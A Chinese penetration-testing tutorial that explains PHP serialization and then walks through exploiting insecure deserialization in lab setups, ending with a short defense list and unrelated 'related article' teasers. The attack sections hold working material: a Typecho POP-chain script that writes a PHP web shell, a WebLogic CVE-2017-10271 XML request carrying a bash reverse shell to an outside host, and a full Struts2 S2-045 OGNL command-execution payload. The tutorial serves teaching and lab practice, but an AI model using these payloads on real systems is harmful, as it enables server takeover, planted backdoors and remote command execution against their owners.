反序列化漏洞及漏洞复现
文章目录
- 渗透测试漏洞原理
- 不安全的反序列化
- 1. 序列化与反序列化
- 1.1 引例
- 1.2 序列化实例
- 1.2.1 定义一个类
- 1.2.2 创建对象
- 1.2.3 反序列化
- 1.2.4 对象注入
- 2. 漏洞何在
- 2.1 漏洞触发
- 3. 反序列化漏洞攻防
- 3.1 PHP反序列化实例
- 3.1.1 漏洞利用脚本
- 3.1.2 漏洞利用
- 3.1.3 获取GetShell
- 3.2 Java反序列化实例
- 3.2.1 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞
- 3.2.1.1 漏洞描述
- 3.2.1.2 影响版本
- 3.2.1.3 漏洞复现
- 3.2.1.4 漏洞扫描
- 3.2.1.5 漏洞验证
- 3.2.2 S2-045 Remote Code Execution Vulnerablity
- 3.2.2.1 启动镜像
- 2.2.2.2 访问页面
- 3.2.2.3 漏洞检测
- 3.2.2.4 漏洞利用
- 3.3 反序列化漏洞防御
渗透测试漏洞原理
不安全的反序列化
问题:为什么要序列化?
序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、Json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。
1. 序列化与反序列化
以PHP 语言为例。
对象 – 序列化 --> 字符串、Json – 反序列化 --> 对象
1.1 引例
JSON 数据是数据的一种表达形式,与Python 中的字典类似。
// json.php
<?php$stu = array('name' => 'wuhu', 'age' => 18,'sex' => true, 'score' => 89.9);// echo $stu; //只能输入文本字符串// var_dump($stu); $stu_json = json_encode($stu); echo $stu_json;echo "<hr />";$stu_json = isset($_GET['stu'])?$_GET['stu']:$stu_json;$stu = json_decode($stu_json); var_dump($stu);
?>
说明:
- json_encode:对变量进行 JSON 编码。
- json_decode:对 JSON 格式的字符串进行解码。
验证:
?stu={"name":"wuhu","age":19,"sex":true,"score":89.9}
1.2 序列化实例
1.2.1 定义一个类
定义一个类
<?php// stu.class.phpclass Stu{public $name; public $age; public $sex; public $score;}
?>
1.2.2 创建对象
创建一个对象,并对该对象进行序列化操作,将对象转化为可以存储、传输的字符串。
<?php// serialize.phpinclude "./stu.class.php";$stu1 = new Stu(); //创建一个名为“Stu”的对象实例。//给 $stu1 对象的属性赋值$stu1 -> name = "wuhu"; //$stu1.name$stu1 -> age = 24;$stu1 -> sex = true;$stu1 -> score = 99.9;// echo $stu1;// var_dump($stu1);$_stu1 = serialize($stu1); echo $_stu1;?>
说明:
- 使用
serialize()
函数可以将对象序列化为字符串,同时保留对象的属性值和结构。
序列化后的字符串:
O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}
1.2.3 反序列化
将字符串转化为对象。
<?php// unserialize.phpinclude "./stu.class.php";$stu1_ser = 'O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}';$stu1_obj = unserialize($stu1_ser); var_dump($stu1_obj);
?>
1.2.4 对象注入
如果反序列化字符串,Web 用户可以控制,则造成对象注入。
<?php// $stu1_seria = 'O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}';$stu1_ser = $_GET['wuhu'];$stu1_obj = unserialize($stu1_ser); var_dump($stu1_obj);
?>
页面效果
我们可以操控序列化后的字符串,使其变成我们想让其输出的样子。
PHP 的反序列化漏洞也叫PHP 对象注⼊,是一个⾮常常⻅的漏洞,这种漏洞在某些场景下虽然有些难以利⽤,但是一旦利⽤成功就会造成非常危险的后果。
2. 漏洞何在
2.1 漏洞触发
创建vul.class.php文件在里面创建一个类
<?php// vul.class.phpclass Vul{public $str = "wuhu";function __destruct(){//echo "This is function __destruct()"; @eval($this -> str);}}
?>
创建一个test.php文件在里面创建一个Vul对象
<?php// test.phpinclude './vul.class.php';$s = new Vul(); echo serialize($s); echo "<hr />";$_s = $_GET['s_ser'];$s = unserialize($_s); var_dump($s);?>
序列化代码
O:3:"Vul":1:{s:3:"str";s:4:"wuhu";}
参数说明:
O
:表示序列化后的数据是一个对象(object)。
3
:表示该对象的类名Vul
的字节数(即类名长度为 3)。
:"Vul"
:类名,表示该对象属于名为Vul
的类。
1
:表示该对象有 1 个属性。
{}
:对象的属性和值的集合,用大括号括起来。
s:3:"str"
: 属性名为str
,表示一个字符串类型。
s
: 表示后面的值是一个字符串。3
: 表示该字符串的长度为 3 个字符。:"str"
: 属性的值为 “str”。
s:4:"wuhu"
: 属性名str
的值为 “wuhu”,也是一个字符串类型。
s
: 表示后面的值是一个字符串。4
: 表示该字符串的长度为 4 个字符。:"wuhu"
: 属性值为 “wuhu”。
反序列化执行代码
?s_ser=O:3:"Vul":1:{s:3:"str";s:10:"phpinfo();";}
解析:
__destruct():会被对象自动调用。
以 __ 开头的函数,是PHP 中的魔术方法。类中的魔术⽅法,在特定情况下会自动调⽤。即使魔术方法在类中没有被定义,也是真实存在的。
魔术方法 | 触发条件 |
---|---|
__construct() | 在创建对象时⾃动调⽤,构造函数 |
__destruct() | 在销毁对象时⾃动调⽤,析构函数 |
__call();
__callStatic();
__get();
__set();
__isset();
__unset();
__sleep();
__wakeup(); # 创建对象之前触发。
__toString();
__invoke();
__set_state();
__clone();
__debuginfo();
漏洞形成的根本原因就是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 语言中,其原理基本相同。
补充
提交O:3:“Vul”:1:{s:3:“str”;s:4:“wuhu”;},页面显示效果如下:
提交O:3:“Stu”:4:{s:4:“name”;s:4:“wuhu”;s:3:“age”;i:24;s:3:“sex”;b:1;s:5:“score”;d:99.9;},页面显示效果如下:
发现这里Object中的类名变成了__PHP_Incomplete_Class。
原先的Vul中只有一个变量,选择添加一个变量O:3:“Vul”:2:{s:3:“str”;s:4:“wuhu”;s:3:“age”;i:24;},查看页面显示效果:
要求:反序列后的字符串要符合要求,变量没有要求,但是类名字有要求。也就是说提交的反序列化字符串,要想让程序可以理解,需要保障类的名字必须与程序中定义的一致!
3. 反序列化漏洞攻防
3.1 PHP反序列化实例
- Typecho 反序列化漏洞。
3.1.1 漏洞利用脚本
<?phpclass Typecho_Feed{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';}}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_');echo base64_encode(serialize($exp)); //将序列化字符串做base64编码操作
?>
注意:攻击的对象是Typecho,所以构造的类,必须是Typecho应用中存在的类的名字Typecho_Feed、Typecho_Request。
浏览器中访问该文件
会生成的base64编码后序列化后的字符串
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
3.1.2 漏洞利用
这里通过POST方式提交攻击代码。
攻击代码的效果是由assert执行phpinfo(),页面效果
3.1.3 获取GetShell
构造payload:
<?php
class Typecho_Request
{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'file_put_contents(\'wuhu.php\',\'<?php @eval($_POST[777]);?>\')';$this->_filter[0] = 'assert';}
}class Typecho_Feed
{private $_type;private $_items = array();public $dateFormat;public function __construct(){$this->_type = 'ATOM 1.0';$item['author'] = new Typecho_Request();$this->_items[0] = $item;}
}$x = new Typecho_Feed();
$a = array('adapter' => $x,'prefix' => 'typecho_'
);
echo "<pre>";
print_r($a);
echo "</pre>";
echo serialize($a)."<br>";
echo "__typecho_config=".base64_encode(serialize($a));
?>
将上述代码复制到文件并保存然后浏览器中访问该文件
修改cookie前:
修改Cookie后:
蚁剑进行连接
3.2 Java反序列化实例
3.2.1 Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞
Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞。
说明 | 内容 |
---|---|
漏洞编号 | CVE-2017-10271 |
漏洞名称 | Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞 |
漏洞评级 | 高危 |
影响范围 | 10.3.6.0.0 12.1.3.0.0 12.2.1.1.0 12.2.1.2.0 |
漏洞描述 | Veblogic在wls-wsat.war中的VLS Security组件对外提供WebService服务, 其中使用了XMLDecoder来解析用户传入的XML数据, 在解析的过程中出现反序列化漏洞,导致可执行任意命令。 |
修复方案 | 打补丁,上设备,升级组件 |
3.2.1.1 漏洞描述
Oracle Fusion中间件的Dracle WebLogic Server组件中的漏洞(子组件:WLS Security)。受影响的支持版本为10.3.6.0.0、12.1.3.0.0、12.2.1.1.0和12.2.1.2.0。易被攻击的漏洞允许未经身份验证的攻击者通过T3进行网络访问,从而危及Oracle WebLogic Server。成功攻击此漏洞可能导致接管Oracle WebLogic Server。
CVSS3.0基础分数7.5(可用性影响)。
CVSS矢量:(CVSS:3.O/AV:N/AC:L/PR:N/U:N/S:U/C:N/:N/A:H)。
3.2.1.2 影响版本
-
Weblogic 10.3.6.0.0
-
Weblogic 12.1.3.0.0
-
Weblogic 12.2.1.1.0
-
Weblogic 12.2.1.2.0
3.2.1.3 漏洞复现
启动环境
访问页面
在URL中输入http://127.0.0.1:7001/console
,访问成功
3.2.1.4 漏洞扫描
使用扫描工具nacs
sudo ./nacs -h 192.168.188.185 -pa 7001
扫描工具:0xn0ne/weblogicScanner: weblogic 漏洞扫描工具。
使用方法
python3 ws.py -t 192.168.188.185
3.2.1.5 漏洞验证
访问页面
/wls-wsat/CoordinatorPortType
使用bp抓取数据包
发送到重发器上,将其修改为POST请求
然后发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
例如错误如下:
由于提交的是XML所以修改Content-Type值为text/xml
利用DNSLOG平台,进行无回显RCE漏洞验证。
DNSLog Platform
pz9kgu.dnslog.cn
修改数据包,进行URL编码,然后进行发送
页面显示结果
然后使用反弹shell
kali先开启监听
反弹成功
3.2.2 S2-045 Remote Code Execution Vulnerablity
- S2-045 Remote Code Execution Vulnerablity。
3.2.2.1 启动镜像
2.2.2.2 访问页面
3.2.2.3 漏洞检测
使用nacs扫描漏洞
sudo ./nacs -h 192.168.188.185 -pa 9080
扫描到了该漏洞
3.2.2.4 漏洞利用
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
使用bp抓包
右键发送到重发器,然后修改为POST请求
然后将漏洞利用代码复制到Content-Type中,发包即可
233*233=54289漏洞存在。
输入我们的漏洞利用代码:
"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
还有如下案例:
-
JBoss 5.x/6.x 反序列化漏洞。
-
Fastjson 1.2.24 反序列化导致任意命令执行漏洞。
-
Fastjson 1.2.47 远程命令执行漏洞。
-
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)。
3.3 反序列化漏洞防御
漏洞防御:
-
升级组件到最新版本
-
黑白名单过滤敏感字符
-
禁用反序列化功能
-
部署安全设备
相关文章:

反序列化漏洞及漏洞复现
文章目录 渗透测试漏洞原理不安全的反序列化1. 序列化与反序列化1.1 引例1.2 序列化实例1.2.1 定义一个类1.2.2 创建对象1.2.3 反序列化1.2.4 对象注入 2. 漏洞何在2.1 漏洞触发 3. 反序列化漏洞攻防3.1 PHP反序列化实例3.1.1 漏洞利用脚本3.1.2 漏洞利用3.1.3 获取GetShell 3.…...
软件工程笔记001
2023年9月5日,周二上午 软件工程的目标 软件工程的目标是成功地开发一个软件: 较低的开发成本能按时交付软件开发出来的软件该有的功能都有开发出来的软件运行效率高开发出来的软件可靠性高开发出来的软件易于维护 软件的生存周期 概念 软件生存周期…...
java进行系统的限流实现--Guava RateLimiter、简单计数、滑窗计数、信号量、令牌桶
本文主要介绍了几种限流方法:Guava RateLimiter、简单计数、滑窗计数、信号量、令牌桶,漏桶算法和nginx限流等等 1、引入guava集成的工具 pom.xml 文件 <dependency><groupId>com.google.guava</groupId><artifactId>guava<…...

《86盒应用于家居中控》——实现智能家居的灵动掌控
近年来,智能家居产品受到越来越多消费者的关注,其便捷、舒适的生活方式让人们对未来生活充满期待。作为智能家居方案领域的方案商,启明智显生产设计的86盒凭借出色的性能和良好的用户体验,成功应用于家居中控系统,让家…...

【LeetCode】328. 奇偶链表
328. 奇偶链表(中等) 思路 如果链表为空,则直接返回链表。 对于原始链表,每个节点都是奇数节点或偶数节点。头节点是奇数节点,头节点的后一个节点是偶数节点,相邻节点的奇偶性不同。因此可以将奇数节点和偶…...

数字城市:科技革命下的未来之城
随着科技的不断进步,数字城市已经成为了未来城市发展的关键趋势。数字城市是指利用先进的信息技术、互联网和大数据等工具,将城市各个方面进行数字化、智能化、互联化的发展模式。它不仅仅是一种技术,更是一种对城市管理、发展和居民生活方式…...

Qt鼠标点击事件处理:按Escape键退出程序
创建项目 Qt 入门实战教程(目录) 首先,创建一个名称为QtKeyEscape的Qt默认的窗口程序。 参考 :Qt Creator 创建 Qt 默认窗口程序 Qt响应键盘Escape事件 打开Qt Creator >>编辑 >> 项目 >> Headers>> …...
P1162 填涂颜色
填涂颜色 - 洛谷 这个题用逆向思维,见不用染色的地方标记。 这里为了处理一些情况,将图周围一圈的0空出来,用于吧围墙之外的部分都标记上 用宽搜,四联通,感觉好奇怪,八连通ac不了 #include <iostrea…...

Vagrant命令
文章目录 1.介绍2.下载3. 配置3.1 配置环境变量3.2 在xshell中连接使用 4. 相关命令4.1 Box相关4.2 初始化环境4.4 虚拟机相关 1.介绍 Vagrant 是一个虚拟机管理工具 2.下载 https://www.vagrantup.com/ 3. 配置 3.1 配置环境变量 测试安装是否成功 3.2 在xshell中连接使…...
vue3+pinia实现动态类名及动态颜色
前提 store下models下有个before.ts文件 import { defineStore } from "pinia"; export const usebeforeloggininStore defineStore("counterStore", {state: () > ({beforelogin_params: [{type: "A登录",color: "#000",flag: 1,…...
CSS实现隐藏滚动条但可以滚动
场景 隐藏滚动条,但可以滚动 解决 全局样式 /* 隐藏滚动条 */ .outer-container::-webkit-scrollbar {width: 0; /* 设置滚动条的宽度为0 */background-color: transparent; /* 设置滚动条背景为透明 */ }/* 自定义滚动条轨道样式 */ .outer-container::-webkit…...
Ceph入门到精通-lunix将文本5行合成1行并按列统计
要将每5行合并为1行,您可以使用shell命令来完成。假设您有一个名为text.txt的文本文件,您可以使用以下命令来实现: bash cat text.txt | paste -d - - - - - 这将把文件中的每5行合并为1行,并且每个字段之间用空格分隔开来。您…...

linux线程讲解
1.线程概述 一个进程在同一时刻只做一件事情,进程是程序执行的一个实例。 线程是操作系统能够进行运算调度的最小单位,一个进程中可以并发多个线程,每条线程并行执行不同的任务。 进程:资源分配的最小单位。线程,程…...

解决本地jar包导入maven
1、确定是否安装maven 2、输入导入命令 命令说明 <path-to-file>为你jar包所在的路径(尽量简单并且不要含中文) <group-id>为grouId号,与<artifact-id>组成唯一识别你jar包的坐标,当不在公共资源jar包中&#…...
ArcGis地图
1、概述 官网:https://developers.arcgis.com/qt/ 官网:官网指导 官网:Add graphics to a map view Arcgis runtime sdk for Qt 开发记录(系列文章) 2、创建地图 //online: m_mapView new MapGraphicsV…...

Chrome 和 Edge 上出现“status_breakpoint”错误解决办法
文章目录 STATUS_BREAKPOINTSTATUS_BREAKPOINT报错解决办法Chrome浏览器 Status_breakpoint 错误修复- 将 Chrome 浏览器更新到最新版本- 卸载不再使用的扩展程序和应用程序- 安装计算机上可用的任何更新,尤其是 Windows 10- 重启你的电脑。 Edge浏览器 Status_brea…...
华为AP升级操作记录
AP型号:AP4050DN 原版本:AP4050DN CLOUD V200R008C10SPC700 升级后版本:AP4000 V200R019C00SPC913 开启FTP,用户名:admin, 密码:123456 FTP服务端地址:192.168.8.58 操作:将AP连接…...
面试系列 - String字符串使用详解
String 类是 Java 中最常用的类之一,它用于表示和操作字符串。字符串是一系列字符的序列,可以包含字母、数字、符号等。在 Java 中,String 类是不可变的,这意味着一旦创建了字符串对象,它的内容就不能被修改。 一、常…...

1782_Adobe Reader X实现pdf分页保存
全部学习汇总: GitHub - GreyZhang/windows_skills: some skills when using windows system. 看了一本pdf电子书,觉得其中几页很值得分享。如果分享整本书当然是不错的选择,但是分享整本书很可能会导致一个结局——内容太多别人不会去看&…...
筛选图片,写JSON文件和复制
筛选图片,写JSON文件和复制 筛选图片,写JSON文件筛选图片复制 筛选图片,写JSON文件 # coding: utf-8 from PIL import Image, ImageDraw, ImageFont import os import shutil import cv2 as cv import numpy as np import jsondef zh_ch(str…...

最新SpringBoot+SpringCloud+Nacos微服务框架分享
文章目录 前言一、服务规划二、架构核心1.cloud的pom2.gateway的异常handler3.gateway的filter4、admin的pom5、admin的登录核心 三、code-helper分享总结 前言 最近有个活蛮赶的,根据Excel列的需求预估的工时直接打骨折,不要问我为什么,主要…...

Mac软件卸载指南,简单易懂!
刚和Adobe分手,它却总在Library里给你写"回忆录"?卸载的Final Cut Pro像电子幽灵般阴魂不散?总是会有残留文件,别慌!这份Mac软件卸载指南,将用最硬核的方式教你"数字分手术"࿰…...

从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)
设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile,新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...
Go 语言并发编程基础:无缓冲与有缓冲通道
在上一章节中,我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道,它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好࿰…...

Python Ovito统计金刚石结构数量
大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...

[免费]微信小程序问卷调查系统(SpringBoot后端+Vue管理端)【论文+源码+SQL脚本】
大家好,我是java1234_小锋老师,看到一个不错的微信小程序问卷调查系统(SpringBoot后端Vue管理端)【论文源码SQL脚本】,分享下哈。 项目视频演示 【免费】微信小程序问卷调查系统(SpringBoot后端Vue管理端) Java毕业设计_哔哩哔哩_bilibili 项…...

在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)
考察一般的三次多项式,以r为参数: p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]; 此多项式的根为: 尽管看起来这个多项式是特殊的,其实一般的三次多项式都是可以通过线性变换化为这个形式…...

水泥厂自动化升级利器:Devicenet转Modbus rtu协议转换网关
在水泥厂的生产流程中,工业自动化网关起着至关重要的作用,尤其是JH-DVN-RTU疆鸿智能Devicenet转Modbus rtu协议转换网关,为水泥厂实现高效生产与精准控制提供了有力支持。 水泥厂设备众多,其中不少设备采用Devicenet协议。Devicen…...
小木的算法日记-多叉树的递归/层序遍历
🌲 从二叉树到森林:一文彻底搞懂多叉树遍历的艺术 🚀 引言 你好,未来的算法大神! 在数据结构的世界里,“树”无疑是最核心、最迷人的概念之一。我们中的大多数人都是从 二叉树 开始入门的,它…...

嵌入式学习之系统编程(九)OSI模型、TCP/IP模型、UDP协议网络相关编程(6.3)
目录 一、网络编程--OSI模型 二、网络编程--TCP/IP模型 三、网络接口 四、UDP网络相关编程及主要函数 编辑编辑 UDP的特征 socke函数 bind函数 recvfrom函数(接收函数) sendto函数(发送函数) 五、网络编程之 UDP 用…...